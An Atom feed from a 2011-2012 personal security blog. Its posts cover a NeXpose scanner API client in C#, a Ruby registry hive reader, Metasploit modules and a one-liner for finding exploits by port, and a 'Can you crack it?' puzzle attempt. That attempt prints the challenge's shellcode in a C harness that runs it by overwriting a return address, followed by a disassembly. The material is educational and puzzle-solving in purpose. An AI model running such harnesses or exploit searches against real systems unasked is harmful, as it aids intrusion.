<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D04BSHs8fCp7ImA9WhRUEEg.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130</id><updated>2012-01-20T04:39:19.574-06:00</updated><category term="ruby" /><category term="opendiagnostics" /><category term="active directory" /><category term="live cd" /><category term="iamnotsecond.org" /><category term="gentoo" /><category term="registry" /><category term="epiphany" /><category term="reverse engineering" /><category term="pidgin" /><category term="google trends" /><category term="wine" /><category term="neat" /><category term="openvas" /><category term="GNOME" /><category term="firefox" /><category term="nexpose" /><category term="mosa" /><category term="activism" /><category term="mod_rewrite_drupal" /><category term="gimp" /><category term="windows" /><category term="irc" /><category term="physics" /><category term="greasemonkey" /><category term="pisg" /><category term="apache" /><category term="linux" /><category term="facebook" /><category term="opendiagnostic" /><category term="quakecon" /><category term="derbycon" /><category term="meme" /><category term="math" /><category term="volatileminds.net" /><category term="gnump3d" /><category term="dfw" /><category term="vm.n" /><category term="vmware" /><category term="ubuntu-only" /><category term="security" /><category term="loco" /><category term="politics" /><category term="aspergers" /><category term="rvm" /><category term="metasploit" /><category term="bash" /><category term="ctf" /><category term="forensics" /><category term="tip" /><category term="intrepid" /><category term="life" /><category term="C#" /><category term="winbind" /><category term="audible.com" /><category term="IE" /><category term="clamav" /><category term="workstation" /><category term="mono" /><category term="ubuntu" /><category term="vista" /><category term="nhibernate" /><title>Volatile Minds</title><subtitle type="html">Various thoughts and projects that grab my attention for more than a few minutes.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://volatile-minds.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>302</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/VolatileMinds" /><feedburner:info uri="volatileminds" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CkYBQ306eyp7ImA9WhRVE08.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-6360564069779055544</id><published>2012-01-11T16:09:00.001-06:00</published><updated>2012-01-11T16:15:52.313-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-11T16:15:52.313-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="nexpose" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><title>Communicating with your NeXpose server via Mono/.NET</title><content type="html">I have a &lt;a href="https://github.com/brandonprry/nexpose-sharp"&gt;public repo&lt;/a&gt; on github that houses my nexpose-sharp library. It is written in C# and consumes the NeXpose XML API (both 1.1 and 1.2). Here is an example of how easy it is to get all the vuln checks NeXpose has:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Xml;&lt;br /&gt;
using nexposesharp;&lt;br /&gt;
&lt;br /&gt;
namespace nexposeclient&lt;br /&gt;
{&lt;br /&gt;
class MainClass&lt;br /&gt;
{&lt;br /&gt;
public static void Main (string[] args)&lt;br /&gt;
{&lt;br /&gt;
using (NexposeSession session = new NexposeSession("192.168.56.101"))&lt;br /&gt;
{&lt;br /&gt;
session.Authenticate("nexpose"/*user*/, "nexpose"/*password*/);&lt;br /&gt;
&lt;br /&gt;
using (NexposeManager11 manager = new NexposeManager11(session))&lt;br /&gt;
{&lt;br /&gt;
XmlDocument vulns = manager.GetVulnerabilityListing();&lt;br /&gt;
&lt;br /&gt;
int i = 0;&lt;br /&gt;
foreach (XmlNode vuln in vulns.FirstChild.ChildNodes)&lt;br /&gt;
{&lt;br /&gt;
string vulnID = vuln.Attributes["id"].Value;&lt;br /&gt;
&lt;br /&gt;
XmlDocument deets = manager.GetVulnerabilityDetails(vulnID);&lt;br /&gt;
&lt;br /&gt;
string title = deets.FirstChild.FirstChild.Attributes["title"].Value;&lt;br /&gt;
string severity = deets.FirstChild.FirstChild.Attributes["severity"].Value;&lt;br /&gt;
&lt;br /&gt;
Console.WriteLine(String.Format("{0} has a severity of {1} and an id of {2}", title, severity, vulnID)); &lt;br /&gt;
&lt;br /&gt;
i++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Console.WriteLine("\n\nTotal vulnerabilities in database: " + i);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-cqDQ99t01t0/Tw4KAoRsiVI/AAAAAAAAAM8/1t8IS3nc3Jg/s1600/Screenshot%2Bat%2B2012-01-11%2B16%253A15%253A18.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="265" width="400" src="http://3.bp.blogspot.com/-cqDQ99t01t0/Tw4KAoRsiVI/AAAAAAAAAM8/1t8IS3nc3Jg/s400/Screenshot%2Bat%2B2012-01-11%2B16%253A15%253A18.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The library has 2 manager implementations. The above example use &lt;a href="http://download2.rapid7.com/download/NeXpose-v4/NeXpose_API_v1.1_Guide.pdf"&gt;the 1.1 API&lt;/a&gt;. A NexposeManager12 class exists that inherits from NexposeManager11 (available from NeXpose 4.0) and implements the &lt;a href="http://download2.rapid7.com/download/NeXpose-v4/NeXpose_Extended_API_v1.2_Guide.pdf"&gt;extended 1.2 API&lt;/a&gt; (available for NeXpose installations of 4.8+). I am currently in the process of writing some unit tests, which will be committed as soon as possible.&lt;br /&gt;
&lt;br /&gt;
You can grab a copy of &lt;a href="http://www.rapid7.com/products/nexpose-community-edition.jsp"&gt;NeXpose Community Edition&lt;/a&gt; today and try it out!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-6360564069779055544?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/xR3t6DxaRdDUXKlzMFlxJvKiXZI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xR3t6DxaRdDUXKlzMFlxJvKiXZI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/xR3t6DxaRdDUXKlzMFlxJvKiXZI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xR3t6DxaRdDUXKlzMFlxJvKiXZI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/9qH7LdF04pk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/6360564069779055544/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2012/01/communicating-with-your-nexpose-server.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6360564069779055544?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6360564069779055544?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/9qH7LdF04pk/communicating-with-your-nexpose-server.html" title="Communicating with your NeXpose server via Mono/.NET" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-cqDQ99t01t0/Tw4KAoRsiVI/AAAAAAAAAM8/1t8IS3nc3Jg/s72-c/Screenshot%2Bat%2B2012-01-11%2B16%253A15%253A18.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2012/01/communicating-with-your-nexpose-server.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkENQXs7eSp7ImA9WhRWGEo.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-5589232261428462703</id><published>2012-01-06T12:31:00.000-06:00</published><updated>2012-01-06T12:31:30.501-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-06T12:31:30.501-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ruby" /><category scheme="http://www.blogger.com/atom/ns#" term="registry" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>Reading offline registry hives in pure ruby</title><content type="html">If you have ever wanted to peruse a registry hive on Linux, you know that options are really lacking. Most people wonder why you would even want to read a registry hive on Linux, but it is fairly straightforward when you think of the kind of people who will be traversing through registry hives in the first place. Forensics and reverse engineers will often run Linux.&lt;br /&gt;
&lt;br /&gt;
Last night, I checked in my offline registry hive library written in Ruby. I had written a really crappy one in C# based on key signatures, rather than parsing the actual tree. This library does it correctly, by parsing the tree. It is still in its infancy, but it works well enough. You may view the code &lt;a href="https://github.com/brandonprry/ntreg-ruby/"&gt;here&lt;/a&gt;. One day, I hope this gets merged in to the Metasploit trunk in some form or fashion. Tested on Ubuntu 11.10 on ruby 1.9.2p290 (2011-07-09 revision 32553) [x86_64-linux].&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby# ruby ntreg.rb '\Select' ../SYSTEM
Hive name: "SYSTEM"
Found root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
The values and data of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\Select are:
"Current: \x01\x00\x00\x00"
"Default: \x01\x00\x00\x00"
"Failed: \x00\x00\x00\x00"
"LastKnownGood: \x02\x00\x00\x00"
root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby# ruby ntreg.rb '\ControlSet001\Control\Lsa' ../SYSTEM
Hive name: "SYSTEM"
Found root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
The children of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\ControlSet001\Control\Lsa are:
"AccessProviders"
"Audit"
"Credssp"
"Data"
"FipsAlgorithmPolicy"
"GBG"
"JD"
"Kerberos"
"MSV1_0"
"Skew1"
"SSO"
"SspiCache"
The values and data of \CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}\ControlSet001\Control\Lsa are:
"auditbaseobjects: \x00\x00\x00\x00"
"auditbasedirectories: \x00\x00\x00\x00"
"crashonauditfail: \x00\x00\x00\x00"
"fullprivilegeauditing: \x00\x00\x00\x00"
"Bounds: \x000\x00\x00\x00 \x00\x00"
"LimitBlankPasswordUse: \x01\x00\x00\x00"
"NoLmHash: \x01\x00\x00\x00"
"Notification Packages: s\x00c\x00e\x00c\x00l\x00i\x00\x00\x00\x00\x00"
"Security Packages: k\x00e\x00r\x00b\x00e\x00r\x00o\x00s\x00\x00\x00m\x00s\x00v\x001\x00_\x000\x00\x00\x00s\x00c\x00h\x00a\x00n\x00n\x00e\x00l\x00\x00\x00w\x00d\x00i\x00g\x00e\x00s\x00t\x00\x00\x00t\x00s\x00p\x00k\x00g\x00\x00\x00p\x00k\x00u\x002\x00u\x00\x00\x00\x00\x00"
"Authentication Packages: m\x00s\x00v\x001\x00_\x000\x00\x00\x00\x00\x00"
"LsaPid: \xEC\x01\x00\x00"
"SecureBoot: \x01\x00\x00\x00"
"ProductType: \x02\x00\x00\x00"
"disabledomaincreds: \x00\x00\x00\x00"
"everyoneincludesanonymous: \x00\x00\x00\x00"
"forceguest: \x00\x00\x00\x00"
"restrictanonymous: \x00\x00\x00\x00"
"restrictanonymoussam: \x01\x00\x00\x00"
root@w00den-pickle:/home/bperry/tmo/hives/ntreg-ruby#
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-5589232261428462703?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FB7aWz8U2rFVMRR1DJsjNnWc4oM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FB7aWz8U2rFVMRR1DJsjNnWc4oM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FB7aWz8U2rFVMRR1DJsjNnWc4oM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FB7aWz8U2rFVMRR1DJsjNnWc4oM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/AcKcmgT3KXc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/5589232261428462703/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2012/01/reading-offline-registry-hives-in-pure.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5589232261428462703?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5589232261428462703?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/AcKcmgT3KXc/reading-offline-registry-hives-in-pure.html" title="Reading offline registry hives in pure ruby" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2012/01/reading-offline-registry-hives-in-pure.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcBSH4_cCp7ImA9WhRWEUw.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-2527470911919088967</id><published>2011-12-28T16:40:00.000-06:00</published><updated>2011-12-28T16:40:59.048-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-28T16:40:59.048-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>New metasploit modules in trunk</title><content type="html">Last night HDM checked in a telnetd remote root &lt;a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb"&gt;scanner&lt;/a&gt; and &lt;a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb"&gt;exploit&lt;/a&gt; module fore BSD-derived telnetd servers (this vuln affects telnet &lt;i&gt;clients&lt;/i&gt; as well). We were up late last night working on it. Any testing is appreciated.&lt;br /&gt;
&lt;br /&gt;
Today, sinn3r checked my &lt;a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/corpwatch_lookup_id.rb"&gt;CorpWatch&lt;/a&gt; &lt;a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/corpwatch_lookup_name.rb"&gt;API&lt;/a&gt; modules into trunk. These aid in OSINT research  for a company during an engagement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-2527470911919088967?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-ZQp_uw45uf29H4SIeoiAgaiiIE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-ZQp_uw45uf29H4SIeoiAgaiiIE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-ZQp_uw45uf29H4SIeoiAgaiiIE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-ZQp_uw45uf29H4SIeoiAgaiiIE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/TDOSp2XVdcs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/2527470911919088967/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/12/new-metasploit-modules-in-trunk.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2527470911919088967?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/2527470911919088967?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/TDOSp2XVdcs/new-metasploit-modules-in-trunk.html" title="New metasploit modules in trunk" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/12/new-metasploit-modules-in-trunk.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YNSH8zfip7ImA9WhRQGE4.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-9031888984203862085</id><published>2011-12-13T20:53:00.000-06:00</published><updated>2011-12-13T20:53:19.186-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-13T20:53:19.186-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Finding all exploits with RPORT == X</title><content type="html">This question comes up quite a bit in the IRC channel: How can I see all exploits for a given port? You can do it easily with IRB&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;msf &gt; irb
&gt;&gt; framework.exploits.each_module { |n,e| x=e.new; print_good("#{e.fullname}: #{x.datastore['RPORT']}") if x.datastore['RPORT'].to_i == 445   }; nil
&lt;/pre&gt;&lt;br /&gt;
Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-9031888984203862085?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VtRh0i_CroFpkdByb4hGNE8UhIg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VtRh0i_CroFpkdByb4hGNE8UhIg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VtRh0i_CroFpkdByb4hGNE8UhIg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VtRh0i_CroFpkdByb4hGNE8UhIg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/s35yvFiT_e4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/9031888984203862085/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/12/finding-all-exploits-with-rport-x.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/9031888984203862085?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/9031888984203862085?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/s35yvFiT_e4/finding-all-exploits-with-rport-x.html" title="Finding all exploits with RPORT == X" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/12/finding-all-exploits-with-rport-x.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4ER3g9eCp7ImA9WhRRF0w.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-3046172381370545977</id><published>2011-11-30T23:38:00.000-06:00</published><updated>2011-11-30T23:38:26.660-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-30T23:38:26.660-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>Can you crack it? (nope, I tried though)</title><content type="html">The UK govt created a challenge to find eligible code crackers. The website is &lt;a href="http://www.canyoucrackit.co.uk/"&gt;http://www.canyoucrackit.co.uk/&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I got close, but my skills aren't up to par. Here is as far as I got. They give you the following code:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;eb 04 af c2 bf a3 81 ec  00 01 00 00 31 c9 88 0c
0c fe c1 75 f9 31 c0 ba  ef be ad de 02 04 0c 00
d0 c1 ca 08 8a 1c 0c 8a  3c 04 88 1c 04 88 3c 0c
fe c1 75 e8 e9 5c 00 00  00 89 e3 81 c3 04 00 00
00 5c 58 3d 41 41 41 41  75 43 48 3d 42 42 42 42
75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89
d1 89 df 29 cf 31 c0 31  db 31 d2 fe c0 02 1c 06
8a 14 06 8a 34 1e 88 34  06 88 14 1e 00 f2 30 f6
8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89
d8 fe c0 cd 80 90 90 e8  9d ff ff ff 41 41 41 41
&lt;/pre&gt;&lt;br /&gt;
What jumps out at me first are the nops (90 90) in the last line. My mind automagically tells me this is shellcode. I wasn't 100% sure, but it was the only guess I had. I copied the code over into gedit, and made the following adjustments.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c
\x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00
\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c
\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00
\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42
\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89
\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06
\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6
\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89
\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41
&lt;/pre&gt;&lt;br /&gt;
I then saved this into a shellcode.c file:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
char shellcode[] = "\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c\x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41";

void main() {
   int *ret;

   ret = (int *)&amp;ret + 2;
   (*ret) = (int)shellcode;

   printf("done");

}
&lt;/pre&gt;&lt;br /&gt;
Running it simply returned the "done" being printed by printf. This told me that the shellcode was at least not crashing, so it was probably valid shellcode. Looks like my first impression was correct. So I jumped to the asm that the shellcode produced to get a better understanding of it:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;0000000000601040 &lt;shellcode&gt;:
  601040: eb 04                 jmp    601046 &lt;shellcode+0x6&gt;
  601042: af                    scas   %es:(%rdi),%eax
  601043: c2 bf a3              retq   $0xa3bf
  601046: 81 ec 00 01 00 00     sub    $0x100,%esp
  60104c: 31 c9                 xor    %ecx,%ecx
  60104e: 88 0c 0c              mov    %cl,(%rsp,%rcx,1)
  601051: fe c1                 inc    %cl
  601053: 75 f9                 jne    60104e &lt;shellcode+0xe&gt;
  601055: 31 c0                 xor    %eax,%eax
  601057: ba ef be ad de        mov    $0xdeadbeef,%edx
  60105c: 02 04 0c              add    (%rsp,%rcx,1),%al
  60105f: 00 d0                 add    %dl,%al
  601061: c1 ca 08              ror    $0x8,%edx
  601064: 8a 1c 0c              mov    (%rsp,%rcx,1),%bl
  601067: 8a 3c 04              mov    (%rsp,%rax,1),%bh
  60106a: 88 1c 04              mov    %bl,(%rsp,%rax,1)
  60106d: 88 3c 0c              mov    %bh,(%rsp,%rcx,1)
  601070: fe c1                 inc    %cl
  601072: 75 e8                 jne    60105c &lt;shellcode+0x1c&gt;
  601074: e9 5c 00 00 00        jmpq   6010d5 &lt;shellcode+0x95&gt;
  601079: 89 e3                 mov    %esp,%ebx
  60107b: 81 c3 04 00 00 00     add    $0x4,%ebx
  601081: 5c                    pop    %rsp
  601082: 58                    pop    %rax
  601083: 3d 41 41 41 41        cmp    $0x41414141,%eax
  601088: 75 43                 jne    6010cd &lt;shellcode+0x8d&gt;
  60108a: 48 3d 42 42 42 42     cmp    $0x42424242,%rax
  601090: 75 3b                 jne    6010cd &lt;shellcode+0x8d&gt;
  601092: 5a                    pop    %rdx
  601093: 89 d1                 mov    %edx,%ecx
  601095: 89 e6                 mov    %esp,%esi
  601097: 89 df                 mov    %ebx,%edi
  601099: 29 cf                 sub    %ecx,%edi
  60109b: f3 a4                 rep movsb %ds:(%rsi),%es:(%rdi)
  60109d: 89 de                 mov    %ebx,%esi
  60109f: 89 d1                 mov    %edx,%ecx
  6010a1: 89 df                 mov    %ebx,%edi
  6010a3: 29 cf                 sub    %ecx,%edi
  6010a5: 31 c0                 xor    %eax,%eax
  6010a7: 31 db                 xor    %ebx,%ebx
  6010a9: 31 d2                 xor    %edx,%edx
  6010ab: fe c0                 inc    %al
  6010ad: 02 1c 06              add    (%rsi,%rax,1),%bl
  6010b0: 8a 14 06              mov    (%rsi,%rax,1),%dl
  6010b3: 8a 34 1e              mov    (%rsi,%rbx,1),%dh
  6010b6: 88 34 06              mov    %dh,(%rsi,%rax,1)
  6010b9: 88 14 1e              mov    %dl,(%rsi,%rbx,1)
  6010bc: 00 f2                 add    %dh,%dl
  6010be: 30 f6                 xor    %dh,%dh
  6010c0: 8a 1c 16              mov    (%rsi,%rdx,1),%bl
